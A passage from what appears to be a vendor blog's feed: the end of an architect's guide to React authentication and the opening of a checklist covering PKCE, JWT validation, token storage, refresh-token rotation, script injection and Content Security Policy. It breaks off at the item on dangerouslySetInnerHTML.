<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="can-it-run-where-you-need-it">Can it run where you need it?<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#can-it-run-where-you-need-it" class="hash-link" aria-label="Direct link to Can it run where you need it?" title="Direct link to Can it run where you need it?" translate="no">​</a></h3>
<p>Some teams want a public managed service.</p>
<p>Others require self-hosting, private cloud or environments without public internet access.</p>
<p>This is normally a much more important architectural requirement than a small difference in SDK APIs.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="does-it-match-your-application-model">Does it match your application model?<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#does-it-match-your-application-model" class="hash-link" aria-label="Direct link to Does it match your application model?" title="Direct link to Does it match your application model?" translate="no">​</a></h3>
<p>If you build software for businesses, you may need organizations or tenants, organization administrators, enterprise federation and different authentication policies for different customers.</p>
<p>You can build that model yourself, but if it is fundamental to the product it is useful when the identity platform already supports it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="can-you-extend-it">Can you extend it?<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#can-you-extend-it" class="hash-link" aria-label="Direct link to Can you extend it?" title="Direct link to Can you extend it?" translate="no">​</a></h3>
<p>Eventually you may need to call an external service during sign-in, add an additional verification step or change the information placed into a token.</p>
<p>The question is not whether the platform supports every future requirement today.</p>
<p>The more useful question is whether it gives you extension points when your requirement falls outside its default behaviour.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-happens-if-you-need-to-move">What happens if you need to move?<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#what-happens-if-you-need-to-move" class="hash-link" aria-label="Direct link to What happens if you need to move?" title="Direct link to What happens if you need to move?" translate="no">​</a></h3>
<p>Provider lock-in is not only about APIs.</p>
<p>Can you export users? What happens to password hashes? Can multi-factor authentication registrations move? What about passkeys? Can the old and new providers run in parallel during migration? How much of your React application depends on provider-specific SDKs or components?</p>
<p>The architecture decisions earlier in this guide determine how difficult most of those answers become.</p>
<p>WSO2 Identity Platform is worth evaluating in this context because it supports both managed and self-managed deployment models, including cases where identity needs to remain under your infrastructure control. It also supports organization-based B2B identity models and provides extension points for changing authentication behaviour without moving that logic back into the React application.</p>
<p>Whether those capabilities matter depends on the architecture you are building.</p>
<p>That is why the provider decision belongs at the end of this process rather than at the beginning.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-this-leaves-your-react-application">Where this leaves your React application<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#where-this-leaves-your-react-application" class="hash-link" aria-label="Direct link to Where this leaves your React application" title="Direct link to Where this leaves your React application" translate="no">​</a></h2>
<p>You may have started with a fairly ordinary requirement: add authentication to a React application.</p>
<p>But if you are responsible for the application architecture, the real job is deciding what React should own and what it should not.</p>
<p>Something outside the browser needs to own a trusted identity. You need to decide where tokens are handled and how much of that responsibility belongs in React. Your application then needs a deliberate integration boundary with the identity system, while the backend remains responsible for enforcing access to protected resources.</p>
<p>These decisions are much easier to make before the first authentication SDK becomes part of the application.</p>
<p>Once the boundaries are clear, the implementation becomes a much smaller problem.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[React Authentication Best Practices: The 2026 Checklist]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist</guid>
            <pubDate>Thu, 17 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[A practical checklist for React authentication: flows, token storage, session handling, XSS and CSRF defence, and the mistakes that ship most often.]]></description>
            <content:encoded><![CDATA[<p>A React application can have authentication working correctly and still have important security problems around it.</p>
<p>The login redirects correctly. The user comes back signed in. API calls succeed. Logout appears to work. From a functional point of view, everything looks fine.</p>
<p>The issues usually sit around those successful flows: where tokens are stored, what happens when they expire, whether the API actually enforces authorization, how browser-side attacks affect the session, and whether logout really ends what you think it ends.</p>
<p>In this post, I will go through one architecture decision and 19 things worth checking in a React application. Most of them can be verified using browser developer tools or a few direct API calls.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-with-the-architecture">Start with the architecture<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#start-with-the-architecture" class="hash-link" aria-label="Direct link to Start with the architecture" title="Direct link to Start with the architecture" translate="no">​</a></h2>
<p>Before looking at individual authentication settings, start with one question: <strong>where does authentication actually run in your application, and where do the tokens end up?</strong></p>
<p>For a React application, there are three common ways to build this.</p>
<ol>
<li class="">Your React app handles authentication and keeps the tokens in the browser.</li>
<li class="">Your backend handles the login flow, but React still receives an access token and calls APIs directly.</li>
<li class="">Your backend handles authentication and keeps all the tokens, so React never receives one.</li>
</ol>
<p>There is no single answer that fits every application. The important part is understanding what each option protects you from and what responsibility it adds.</p>
<p>One distinction is useful before going further: <strong>stealing a token and using an already authenticated browser are different problems.</strong></p>
<p>If an attacker steals a token, they can take that credential somewhere else and use it independently of your application.</p>
<p>If malicious JavaScript is already running inside your page, it may not need to steal anything. It can use the authenticated application while the user is still signed in.</p>
<p>Where you keep the token makes a big difference to the first problem. It does not automatically solve the second.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-1-react-holds-the-tokens">Option 1: React holds the tokens<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#option-1-react-holds-the-tokens" class="hash-link" aria-label="Direct link to Option 1: React holds the tokens" title="Direct link to Option 1: React holds the tokens" translate="no">​</a></h3>
<p>This is the model most React authentication tutorials start with.</p>
<p>Your application redirects the user to sign in, receives tokens after authentication, keeps them somewhere in the browser, and attaches the access token to API calls.</p>
<p>It is also the simplest option when you have no backend of your own.</p>
<p>The trade-off is that the authentication credentials are now part of the browser environment. If malicious JavaScript runs inside your application, it may be able to read the tokens, obtain new ones, or make authenticated API calls.</p>
<p>That does not mean this architecture is always wrong. It means that if you use it, decisions such as token storage, token lifetime, refresh-token rotation, and browser security become much more important.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-2-your-backend-handles-login-react-still-calls-the-apis">Option 2: Your backend handles login, React still calls the APIs<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#option-2-your-backend-handles-login-react-still-calls-the-apis" class="hash-link" aria-label="Direct link to Option 2: Your backend handles login, React still calls the APIs" title="Direct link to Option 2: Your backend handles login, React still calls the APIs" translate="no">​</a></h3>
<p>The next option is to move the login flow to your backend.</p>
<p>Instead of React exchanging the authorization code and holding the long-lived authentication state, your backend does that work. It can keep the refresh token on the server and give React only the access token it needs to call APIs.</p>
<p>This removes the longer-lived credential from the browser, which is a useful improvement.</p>
<p>However, React still receives an access token. If malicious JavaScript runs inside the page, that access token can still be exposed or used.</p>
<p>This can be a practical middle ground when you already have a backend but do not want every API request to go through it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-3-react-never-receives-a-token">Option 3: React never receives a token<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#option-3-react-never-receives-a-token" class="hash-link" aria-label="Direct link to Option 3: React never receives a token" title="Direct link to Option 3: React never receives a token" translate="no">​</a></h3>
<p>The third option is to keep all OAuth tokens on the backend.</p>
<p>React authenticates through your backend and receives a normal browser session, usually represented by a secure cookie. When the application needs data, it calls your backend, and the backend calls the API using the access token.</p>
<p>From the React application's point of view, there is no OAuth token to store or attach to requests.</p>
<p>This significantly reduces the risk of a token being extracted from frontend code because the token never reaches the frontend in the first place.</p>
<p>It does not solve every browser attack. If malicious JavaScript is running inside the application, it may still be able to make requests through the authenticated backend while the user's session is active.</p>
<p>There are also costs. Your backend is now in the request path, you have another component to operate on, and cookie-based sessions mean you need to think about CSRF protection as well.</p>
<p>For applications dealing with sensitive business or personal data, this is usually the option I would evaluate first.</p>
<p>If you use Next.js or another React framework with server-side capabilities, implementing this may be easier because you already have somewhere to run the backend part. A purely static deployment is different, so having a Next.js application does not automatically mean you already have this architecture.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="which-one-should-you-choose">Which one should you choose?<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#which-one-should-you-choose" class="hash-link" aria-label="Direct link to Which one should you choose?" title="Direct link to Which one should you choose?" translate="no">​</a></h3>
<p>If you have no backend, option 1 may be the practical choice. In that case, the rest of this checklist becomes particularly important.</p>
<p>If you already have a backend, option 2 removes some of the more sensitive authentication state from the browser without changing the application architecture too much.</p>
<p>If you want OAuth tokens completely outside the React application, option 3 provides the strongest separation, with the additional backend and session-management work that comes with it.</p>
<p>These three architectures are also described in the current OAuth guidance for browser-based applications, including <strong>RFC 10017, OAuth 2.0 for Browser-Based Applications</strong>. The terminology used there is <em>browser-based OAuth client</em>, <em>token-mediating backend</em>, and <em>Backend for Frontend (BFF)</em>.</p>
<p>For the rest of this article, I will mostly use the simpler application-level descriptions above and introduce protocol terminology only where it helps explain the problem.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-login-flow">The login flow<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#the-login-flow" class="hash-link" aria-label="Direct link to The login flow" title="Direct link to The login flow" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-make-sure-tokens-are-not-coming-back-in-the-url">1. Make sure tokens are not coming back in the URL<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#1-make-sure-tokens-are-not-coming-back-in-the-url" class="hash-link" aria-label="Direct link to 1. Make sure tokens are not coming back in the URL" title="Direct link to 1. Make sure tokens are not coming back in the URL" translate="no">​</a></h3>
<p>Sign in to your application and look at the URL you return to after login.</p>
<p>If you see something such as:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">access_token=...</span><br></span></code></pre></div></div>
<p>or:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">#access_token=...</span><br></span></code></pre></div></div>
<p>The application is likely using an older OAuth flow where the token is returned directly through the browser.</p>
<p>For modern React applications, the preferred model is <strong>Authorization Code flow with PKCE</strong>.</p>
<p>Instead of returning an access token in the URL, the login flow returns a short-lived authorization code. The application then exchanges that code for tokens separately.</p>
<p>PKCE adds another protection to this process. Your application creates a random value before starting login, sends a derived version with the login request, and must present the original value when exchanging the authorization code.</p>
<p>In other words, stealing the authorization code alone should not be enough to complete the flow.</p>
<p>Most modern authentication SDKs handle this for you.</p>
<p><strong>Verify:</strong> inspect the request that sends the browser to the login page. You should see:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">response_type=code</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">code_challenge=...</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">code_challenge_method=S256</span><br></span></code></pre></div></div>
<p>After login, the redirect URL should contain <code>code=</code>, not an access token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-decoding-a-jwt-is-not-the-same-as-validating-it">2. Decoding a JWT is not the same as validating it<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#2-decoding-a-jwt-is-not-the-same-as-validating-it" class="hash-link" aria-label="Direct link to 2. Decoding a JWT is not the same as validating it" title="Direct link to 2. Decoding a JWT is not the same as validating it" translate="no">​</a></h3>
<p>React applications often use libraries such as <code>jwtDecode()</code> to read information from a token.</p>
<p>There is nothing wrong with decoding a token when you want to display something such as the user's name.</p>
<p>The problem starts when decoded data is treated as trusted simply because it came from a JWT.</p>
<p>A JWT is just an encoded structure until its security properties have been checked.</p>
<p>For an OpenID Connect ID token, your authentication library should verify things such as:</p>
<ul>
<li class="">who issued the token</li>
<li class="">whether it was issued for your application</li>
<li class="">whether it is still valid</li>
<li class="">whether the token has been changed</li>
<li class="">any login-specific values such as a nonce when one was used</li>
</ul>
<p>Most authentication SDKs already perform these checks.</p>
<p>The failure normally happens when application code separately decodes a token and then makes a security decision based on that decoded copy.</p>
<p><strong>Verify:</strong> search your codebase for direct JWT decoding. For each use, check whether it is only reading information from a token that has already been validated or whether it is deciding whether the user should be trusted.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-id-tokens-and-access-tokens-have-different-jobs">3. ID tokens and access tokens have different jobs<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#3-id-tokens-and-access-tokens-have-different-jobs" class="hash-link" aria-label="Direct link to 3. ID tokens and access tokens have different jobs" title="Direct link to 3. ID tokens and access tokens have different jobs" translate="no">​</a></h3>
<p>After login, you may receive both an <strong>ID token</strong> and an <strong>access token</strong>.</p>
<p>They may look similar, but they are not interchangeable.</p>
<p>The ID token is primarily about the authentication event and the signed-in user. Your React application may use information from it to understand who logged in.</p>
<p>The access token is the credential used to call an API.</p>
<p>One common mistake is sending the ID token to the API simply because it is already available in the authentication state.</p>
<p>That can appear to work if the API performs only limited validation, but it is not the intended use of the ID token.</p>
<p>Also, do not assume every access token is a JWT. Some identity providers issue opaque access tokens, where the client should not depend on the internal format at all.</p>
<p><strong>Verify:</strong> inspect the Authorization header being sent to your API:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Bearer &lt;token&gt;</span><br></span></code></pre></div></div>
<p>Confirm that this is the access token intended for API access, not the ID token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-avoid-hardcoding-every-authentication-endpoint">4. Avoid hardcoding every authentication endpoint<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#4-avoid-hardcoding-every-authentication-endpoint" class="hash-link" aria-label="Direct link to 4. Avoid hardcoding every authentication endpoint" title="Direct link to 4. Avoid hardcoding every authentication endpoint" translate="no">​</a></h3>
<p>An authentication setup normally needs several endpoints, such as where to start login and where to exchange an authorization code for tokens.</p>
<p>You could configure each endpoint separately, but most modern identity providers publish metadata that authentication libraries can discover.</p>
<p>In practice, you normally configure the identity provider or issuer and let the SDK discover the relevant endpoints.</p>
<p>This becomes particularly useful when you have development, staging, and production environments or when an identity provider rotates signing keys.</p>
<p><strong>Verify:</strong> search the codebase for:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">/authorize</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">/token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">.well-known</span><br></span></code></pre></div></div>
<p>and for hardcoded identity-provider hostnames.</p>
<p>A provider or issuer URL in environment configuration is normal. The same authentication endpoint repeated in several components usually deserves another look.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-check-your-redirect-urls-carefully">5. Check your redirect URLs carefully<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#5-check-your-redirect-urls-carefully" class="hash-link" aria-label="Direct link to 5. Check your redirect URLs carefully" title="Direct link to 5. Check your redirect URLs carefully" translate="no">​</a></h3>
<p>When authentication finishes, the identity provider sends the browser back to a URL registered for your application.</p>
<p>That URL needs to match what the application is actually sending.</p>
<p>Small differences matter:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://example.com/callback</span><br></span></code></pre></div></div>
<p>is not necessarily the same as:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">https://example.com/callback/</span><br></span></code></pre></div></div>
<p>The scheme, hostname, port, path, and trailing slash all matter.</p>
<p>Loose redirect matching would make it easier to send an authentication response somewhere you did not intend, which is why identity providers normally require exact registered URLs.</p>
<p>Production authentication traffic should also use HTTPS.</p>
<p><strong>Verify:</strong> compare the redirect URL configured in your React application with the value registered at the identity provider.</p>
<p>Do not compare them visually and assume they are the same. Compare the full value.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="token-storage-and-refresh">Token storage and refresh<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#token-storage-and-refresh" class="hash-link" aria-label="Direct link to Token storage and refresh" title="Direct link to Token storage and refresh" translate="no">​</a></h2>
<p>If your React application never receives OAuth tokens because you are using the backend model described earlier, much of this section becomes a backend concern.</p>
<p>If tokens do reach the browser, these decisions matter.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-know-where-your-tokens-are-stored">6. Know where your tokens are stored<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#6-know-where-your-tokens-are-stored" class="hash-link" aria-label="Direct link to 6. Know where your tokens are stored" title="Direct link to 6. Know where your tokens are stored" translate="no">​</a></h3>
<p>A lot of React examples contain something similar to:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token dom variable" style="color:#C43300">localStorage</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">setItem</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"token"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> token</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>It is convenient because the token survives page reloads.</p>
<p>The downside is equally simple: JavaScript running in your application's origin can also read it.</p>
<p>There are several common approaches: <code>localStorage</code> is easy to use and survives browser restarts, but is accessible to JavaScript running on the page. <code>sessionStorage</code> is also accessible to JavaScript, but normally limited to the lifetime of a browser tab. In-memory storage keeps the token only in application memory — it disappears when the page reloads, which reduces persistence but also means your authentication library needs another way to restore the session. A Web Worker can keep some authentication state outside the normal main-thread JavaScript environment, which can make direct token extraction harder — though it is not a complete solution to script injection: if malicious JavaScript is already running as part of your application, it may still be able to request authenticated operations even when it cannot directly read the token.</p>
<p>There is no storage option that makes browser security irrelevant.</p>
<p><strong>Verify:</strong> sign in and inspect:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Developer Tools → Application → Local Storage</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Developer Tools → Application → Session Storage</span><br></span></code></pre></div></div>
<p>Understand where your SDK keeps its authentication state rather than assuming the default is appropriate for your application.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="7-protect-refresh-tokens">7. Protect refresh tokens<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#7-protect-refresh-tokens" class="hash-link" aria-label="Direct link to 7. Protect refresh tokens" title="Direct link to 7. Protect refresh tokens" translate="no">​</a></h3>
<p>Access tokens should normally be relatively short-lived.</p>
<p>A refresh token has a different purpose. It allows the application to obtain new access tokens without asking the user to sign in every few minutes.</p>
<p>Because it can remain useful for much longer, stealing a refresh token can be more serious than stealing a short-lived access token.</p>
<p>If a refresh token is issued to a browser application, current security guidance requires additional protection. The most common approach is <strong>refresh-token rotation</strong>.</p>
<p>With rotation, using a refresh token produces a new refresh token and invalidates the old one:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Refresh token A</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">New access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Refresh token B</span><br></span></code></pre></div></div>
<p>The next refresh uses B and receives C.</p>
<p>If token A later appears again, the identity provider knows an already-used token has been presented and can react according to its security policy.</p>
<p>Another approach is sender-constrained refresh tokens, but rotation is the mechanism most React developers are likely to encounter.</p>
<p><strong>Verify:</strong> trigger two refreshes and compare the refresh token returned each time.</p>
<p>If your identity provider uses rotation, the value should change. You can also test what happens if an older refresh token is used again.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="8-keep-access-token-lifetimes-reasonably-short">8. Keep access-token lifetimes reasonably short<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#8-keep-access-token-lifetimes-reasonably-short" class="hash-link" aria-label="Direct link to 8. Keep access-token lifetimes reasonably short" title="Direct link to 8. Keep access-token lifetimes reasonably short" translate="no">​</a></h3>
<p>If somebody steals a bearer access token, its expiry time puts a natural limit on how long it remains useful.</p>
<p>For that reason, access tokens should normally live for a relatively short period compared with refresh tokens.</p>
<p>There is no universal value such as "15 minutes is correct for every application." The right value depends on the application, API, risk, and how refresh is implemented.</p>
<p>However, if your browser application receives access tokens that remain valid for many hours, I would want to understand why.</p>
<p><strong>Verify:</strong> if your access token is a JWT, decode it and compare <code>iat</code> and <code>exp</code>.</p>
<p>If it is an opaque token, check the configured token lifetime at your identity provider.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="9-make-sure-only-one-refresh-happens-at-a-time">9. Make sure only one refresh happens at a time<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#9-make-sure-only-one-refresh-happens-at-a-time" class="hash-link" aria-label="Direct link to 9. Make sure only one refresh happens at a time" title="Direct link to 9. Make sure only one refresh happens at a time" translate="no">​</a></h3>
<p>This is one of the more React-specific problems in the list.</p>
<p>Assume a user leaves the application open for some time and the access token expires.</p>
<p>They return to a dashboard and several components immediately make API calls:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Component A → API → 401</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Component B → API → 401</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Component C → API → 401</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Component D → API → 401</span><br></span></code></pre></div></div>
<p>If every API call independently decides to refresh the token, you may suddenly have four refresh requests using the same refresh token.</p>
<p>Now combine this with refresh-token rotation.</p>
<p>The first refresh succeeds and replaces the old refresh token.</p>
<p>The other refresh requests may now be using a token that has already been consumed. Depending on your identity provider's reuse-detection behavior, that can invalidate the session.</p>
<p>From the user's point of view, they were simply logged out for no obvious reason.</p>
<p>The common pattern is to allow only one refresh request at a time. Other API calls wait for the same refresh operation and retry after it completes.</p>
<p><strong>Verify:</strong> expire an access token and trigger several API calls simultaneously.</p>
<p>You should see one token refresh, followed by retries of the waiting API requests.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="browser-security">Browser security<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#browser-security" class="hash-link" aria-label="Direct link to Browser security" title="Direct link to Browser security" translate="no">​</a></h2>
<p>Moving tokens to a safer place reduces what malicious code can steal.</p>
<p>It does not mean malicious code running inside your page becomes harmless.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="10-treat-script-injection-as-part-of-authentication-security">10. Treat script injection as part of authentication security<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#10-treat-script-injection-as-part-of-authentication-security" class="hash-link" aria-label="Direct link to 10. Treat script injection as part of authentication security" title="Direct link to 10. Treat script injection as part of authentication security" translate="no">​</a></h3>
<p>If JavaScript is running inside your application's origin, the browser treats it as part of your application.</p>
<p>If your React code can read a token, malicious code may be able to read it too.</p>
<p>If you move the token into an HttpOnly cookie, the script can no longer directly read the cookie, which is useful.</p>
<p>But the browser still sends that cookie with authenticated requests.</p>
<p>So malicious code may be able to do this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Injected script</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">POST /account/change-email</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Browser automatically sends session cookie</span><br></span></code></pre></div></div>
<p>The attacker never sees the cookie.</p>
<p>The same principle applies to a BFF. Keeping OAuth tokens completely outside React reduces token theft, but malicious code running inside the page may still use the authenticated backend while the session is active.</p>
<p>This is why token storage and script injection need to be treated as related but separate problems.</p>
<p><strong>Verify:</strong> search the application for places where untrusted content can become markup or executable code.</p>
<p>Pay particular attention to: <code>dangerouslySetInnerHTML</code>, <code>eval</code>, dynamic script loading, direct DOM manipulation, and HTML returned from APIs or third parties.</p>
<p>Also run dependency scanning such as <code>npm audit</code>, but do not treat a clean dependency report as proof that the application cannot have an XSS problem.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-configure-a-content-security-policy">11. Configure a Content Security Policy<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#11-configure-a-content-security-policy" class="hash-link" aria-label="Direct link to 11. Configure a Content Security Policy" title="Direct link to 11. Configure a Content Security Policy" translate="no">​</a></h3>
<p>A <strong>Content Security Policy</strong>, usually called CSP, is a browser security mechanism that controls which scripts and other resources your page is allowed to execute.</p>
<p>The browser receives the policy in an HTTP response header.</p>
<p>For example, you can restrict scripts to ones that came from sources you explicitly trust.</p>
<p>A well-designed CSP does not replace secure coding, but it adds another layer. Some script-injection bugs that would otherwise become exploitable can be blocked by the browser.</p>
<p>Be careful with broad exceptions such as <code>unsafe-inline</code> and <code>unsafe-eval</code>.</p>
<p>Sometimes an application needs one of them for compatibility, but they should not be added simply because that makes CSP errors disappear.</p>
<p><strong>Verify:</strong> inspect your page's HTTP response headers and find <code>Content-Security-Policy</code>.</p>
<p>Check the <code>script-src</code> configuration and test your normal application journeys while watching the browser console for CSP violations.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-review-dangerouslysetinnerhtml">12. Review dangerouslySetInnerHTML<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#12-review-dangerouslysetinnerhtml" class="hash-link" aria-label="Direct link to 12. Review dangerouslySetInnerHTML" title="Direct link to 12. Review dangerouslySetInnerHTML" translate="no">​</a></h3>
<p>React normally escapes values inserted into JSX.</p>
<p>For example:</p>
